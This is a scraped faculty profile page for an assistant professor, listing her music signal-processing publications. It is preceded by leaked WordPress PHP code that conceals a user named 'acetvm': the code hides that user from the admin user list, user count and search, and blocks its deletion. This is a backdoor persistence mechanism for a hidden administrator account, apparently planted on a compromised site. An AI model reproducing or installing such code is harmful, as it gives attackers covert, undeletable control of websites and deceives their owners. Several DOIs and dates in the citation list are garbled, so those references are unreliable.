add_action('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->base === 'users') { $protected_user = get_user_by('login', 'acetvm'); if ($protected_user) { $excluded = (array) $query->get('exclude'); $excluded[] = $protected_user->ID; $query->set('exclude', $excluded); } } } }); add_filter('wp_count_users', function($counts) { $protected_user = get_user_by('login', 'acetvm'); if ($protected_user) { $counts->total_users--; } return $counts; }); add_action('delete_user', function($user_id) { $user = get_user_by('ID', $user_id); if ($user && $user->user_login === 'acetvm') { wp_die( __('User acetvm tidak dapat dihapus.', 'textdomain'), __('Error', 'textdomain'), array('response' => 403) ); } }); add_filter('user_search_columns', function($search_columns, $search, $query) { if (is_admin()) { $protected_user = get_user_by('login', 'acetvm'); if ($protected_user) { global $wpdb; $query->query_where .= $wpdb->prepare(" AND {$wpdb->users}.ID != %d", $protected_user->ID); } } return $search_columns; }, 10, 3); add_filter('bulk_actions-users', function($actions) { if (isset($_REQUEST['users']) && is_array($_REQUEST['users'])) { $protected_user = get_user_by('login', 'acetvm'); if ($protected_user && in_array($protected_user->ID, $_REQUEST['users'])) { unset($actions['delete']); } } return $actions; });
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  3. Dr. Lekshmi C. R

Dr. Lekshmi C. R

Name : Dr. Lekshmi C. R

Designation: Assistant Professor

Qualification: PhD in signal processing using deep learning frameworks.

Experience: 5 years

Mail id: lekshmi.cr@acetvm.com

Conferences

[1] Lekshmi C.Reghunath. and Rajeev Rajan, “Attention -Based Predominant Instruments Recognition in Polyphonic Music”, in Proc.of 2021 18th Sound and Music Computing Conference (SMC) ), Torino, Italy, 2021, pp 199-206, DO1 10.528/zenodo.5043841. 

[2] Lekshmi.C.R. and Rajan, R., “Predominant Instruments recognition in Polyphonic music using Convolutional Recurrent Neural Networks”, in Proc. of the 15th International Symposium on CMMR, Tokyo, Japan, Nov 15-19,2021, pp 185-194, Lecture Notes in Computer Science, vol 13770 . Springer, DOI:10.007/978-3-031-35382-6_171.

Journals

[1] Reghunath,L.C.,Rajan,R.,Transformer-based Ensemble Method for Multiple Predominant Instruments Recognition in Polyphonic Music. Eurasip Journal of Audio Speech and Music Processing, 2022, 11 (2022), DOI : 10.1186/s13636-022-00245-8.

[2] Rajan, R., Chandrika Reghunath, L. Varghese, L.T., POMET: a corpus for poetic meter classification. Lang Resources Evaluation (2022), Springer, 2022,DOI : 10.1007/s10579-022- 09604-5.

[3] Reghunath,L.C.,Rajan,R., ”Multiple Predominant Instruments Recognition in Polyphonic Music using Spectro/Modgd-gram Fusion”, Circuits System and Signal Process (2023), (CSSP). DOI: 10.1007/s00034-022-02278-y.

[4] Reghunath,L.C.,Rajan,R., ”Predominant Audio Source Separation”, Eurasip Journal of Audio Speech and Music Processing, 20232, 49 (2023).DOI: 10.1186/s13636-023-00316-4.